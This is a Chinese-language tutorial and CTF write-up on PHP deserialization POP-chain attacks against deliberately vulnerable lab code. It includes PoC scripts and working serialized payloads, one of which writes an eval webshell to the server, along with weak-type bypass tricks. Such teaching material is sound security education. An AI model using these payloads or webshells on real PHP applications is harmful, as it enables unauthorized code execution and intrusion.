0x01 pop链

我们知道,PHP反序列化漏洞的问题点是出在写得不安全的魔法函数上,有漏洞的魔法函数会让攻击者构造恶意的exp来触发,因为魔法函数会自动调用从而触发漏洞。

但如果漏洞代码不在魔法方法中,而是在一个类的普通方法中,这时就可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。因为PHP反序列化可以控制类属性,无论是private还是public。

看个Demo就容易理解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class mi1k7ea {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);
?>

mi1k7ea这个类本来是调用normal类的,而normal类中含有action()方法用于显示字符串,但是现在action()方法在evil类里面也有,所以可以构造pop链,调用evil类中的action()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class mi1k7ea {
protected $ClassObj;

function __construct() {
$this->ClassObj = new evil();
}
}

class evil {
private $data = "phpinfo();";
}

$m7 = new mi1k7ea();
echo urlencode(serialize($m7));
?>

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。

payload:

1
O%3A7%3A%22mi1k7ea%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

0x02 练习

这里看一道pop链题目。

访问页面,显示源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
<?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("E:\\www\\pop\\" . $this->filename, $txt, FILE_APPEND);
}
};
class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};
class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};
class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}
function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}
function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};

if (isset($_GET['cmd'])) {
unserialize($_GET['cmd']);
}else{
highlight_file(__FILE__);
}
?>

pop链构造分析

分析一下,我们是需要构造pop链触发反序列化漏洞,那就先寻找存在unserialize()函数调用的地方,发现定义的类方法中有3处存在调用unserialize()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
...
class Conn {
...
function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}
...

其中Conn类中调用的unserialize()函数的参数是通过执行SQL查询获取的,无法直接控制;而User类中两个unserialize()函数的参数都是通过cookie传入的,外部可控,那么切入点就在这里了。

既然知道了哪些类方法的unserialize()函数可控,那就找下可利用的魔法函数有哪些了。浏览了一遍方法,除去构造方法__construct()后,发现有个析构函数__destruct()中调用了该类成员变量的log()方法:

1
2
3
4
5
6
7
8
9
10
11
class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
...
function __destruct() {
$this->song->log();
}

看到song变量可以通过构造方法直接赋值。那么接下来看看哪些类含有log()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Logger {
protected $logwriter;//
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {//
$this->logwriter->writeLog($txt);
}
};
...
class Song {
...
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}

发现Logger类和Song类中都有log()方法,看明显看出Logger类的log()方法疑似可利用,因为其中调用了该类logwriter成员变量的writeLog()方法。

下面找下writeLog()方法,发现只有LogWriter_File类中定义了,并且其功能是想指定Web目录路径上写文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("E:\\www\\pop\\" . $this->filename, $txt, FILE_APPEND);
}
};

注意一点就是,这里调用了format()方法对参数进行格式化处理,format()方法的定义在LogFileFormat类中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

其中又调用了filter()方法过滤内容,然后调用str_replace()方法将换行符替换成endl成员变量的值。

filter()方法是定义在OutputFilter类中,作用是使用成员变量matchPattern的值作为pattern进行正则匹配过滤:

1
2
3
4
5
6
7
8
9
10
11
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

看到这里,调用了preg_replace(),当PHP版本不高于5.5时可以用正则的/e模式来执行php代码。

最后借lemon大佬个图理一下呗:

触发点1即写shell文件,触发点2即preg_replace()代码注入但限制PHP版本<=5.5。

PoC编写

由于本地环境的PHP是5.6,就构造第一个触发点的PoC吧。

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
};

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
};

$arr = array(new OutputFilter("//", "<?php @eval(\$_GET['cmd']);?>"));
$obj1 = new LogFileFormat($arr, '\n');
$obj2 = new LogWriter_File("muma.php", $obj1);
$obj3 = new Logger($obj2);
$obj = new Lyrics("666", $obj3);
echo urlencode(serialize($obj));
?>

访问得到poc:

1
O%3A6%3A%22Lyrics%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00lyrics%22%3Bs%3A3%3A%22666%22%3Bs%3A7%3A%22%00%2A%00song%22%3BO%3A6%3A%22Logger%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A14%3A%22LogWriter_File%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22muma.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A13%3A%22LogFileFormat%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A12%3A%22OutputFilter%22%3A2%3A%7Bs%3A15%3A%22%00%2A%00matchPattern%22%3Bs%3A2%3A%22%2F%2F%22%3Bs%3A14%3A%22%00%2A%00replacement%22%3Bs%3A28%3A%22%3C%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A2%3A%22%5Cn%22%3B%7D%7D%7D%7D

将该poc填入参数中访问:

弹出警告和注意信息。再尝试访问下我们的后门文件,已经存在了:

0x03 一道CTF题目

访问页面,看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php 
//flag is in flag.php
error_reporting(0);

class oops {
protected $oop;

function __construct() {
$this->oop = new a();
}

function __destruct() {
$this->oop->action();
}
}

class a {
function action() {
echo "Hello World!";
}
}

class b {
private $file;
private $token;
function action() {
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
include($this->file);
echo $flag;
}
}else{
echo "Oops...";
}
}
}

class c {
private $cmd;
private $token;
function execcmd(){
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
if (!empty($this->cmd)){
system($this->cmd);
}
}else{
echo "Oops...";
}
}
}

if (isset($_GET['a']) and isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if (stripos($a,'.')) {
echo "You can't input '.' !";
return ;
}
$data = @file_get_contents($a,'r');
if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8){
if (isset($_GET['c'])){
echo "get c 2333......<br>";
unserialize($_GET['c']);
} else {
echo "cccccc......";
}
} else {
echo "Oh no......";
}
} else {
show_source(__FILE__);
}

?>

简单看下,考察两个点,一个是3处的弱类型校验,即参数a、b以及类成员变量token,另一个是反序列化pop链的构造。

弱类型Bypass

先看下参数a和b,要同时通过GET输入并绕过类型比较才能往下执行到反序列化的逻辑:

1
2
3
4
5
6
if (stripos($a,'.')) { 
echo "You can't input '.' !";
return ;
}
$data = @file_get_contents($a,'r');
if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8)
  • 对于参数a,不能输入“.”,过滤了跨目录访问,并且调用file_get_contents()函数读取名为a的文件内容,且内容为”HelloWorld!”——解决办法:file_get_contents()函数支持php伪协议,这里我们可以使用php:/input,然后再POST字符串”HelloWorld!”即可绕过
  • 对于参数b,其长度必须大于5,第一个字符紧接着拼接在”666”字符串后面要能正则匹配上”6668”字符串,且限定第一个字符不能为8——解决办法:这里限定了参数第一个字符不能为8,但是缺陷在于使用正则匹配,我们这里可以使用%00截断作为参数b的起始字符,截断掉后面的字符从而实现666和6668能够匹配成功实现绕过,剩下的字符拼够5个字节以上即可

再看下成员变量token,其在类b和类c中均存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class b { 
private $file;
private $token;
function action() {
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
...

class c {
private $cmd;
private $token;
function execcmd(){
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
...

可以看到,先判断token是否为数字字符,不是才会往下判断token的值是否为0,为0则进入关键代码。但是这里判断是否为0的符号是==,存在弱类型绕过,当我们输入一个字符如a时,’a’==0是成立的。

pop链构造

我们回到几个类的定义中再看看,发现只有oops类存在魔法函数__construct()和__destruct(),分析该函数:

  • 成员变量oop,在__construct()函数中初始化为a类的实例;
  • __construct()函数,初始化成员变量oop为a类的实例;
  • __destruct()函数,调用oop实例的action()方法;

再看看其他几个类:

  • a类只有输出Hello World的action()方法,无漏洞点;
  • b类有个action()方法,含有成员变量file和token,绕过token校验之后就过滤file的跨目录,然后直接输出目标文件的flag变量值;
  • c类有个execcmd()方法,但是和opps类__destruct()函数中调用的action()方法完全不同名,就是个坑哈哈;

这么说,能利用的只有b类,且和源码注释中提示的flag在flag.php中吻合,那就直接构造payload即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class oops {
protected $oop;

function __construct() {
$this->oop = new b();
}
}

class b {
private $file = "flag.php";
private $token = "a";
}

echo urlencode(serialize(new oops()));
?>

输出参数c的exp为:

1
O%3A4%3A%22oops%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00oop%22%3BO%3A1%3A%22b%22%3A2%3A%7Bs%3A7%3A%22%00b%00file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A8%3A%22%00b%00token%22%3Bs%3A1%3A%22a%22%3B%7D%7D

getflag

最后结合前面a、b参数的Bypass exp,直接构造报文发包即可get flag:

0x04 参考

php对象注入-pop链的构造

php反序列化pop链一则

POP链学习| cL0und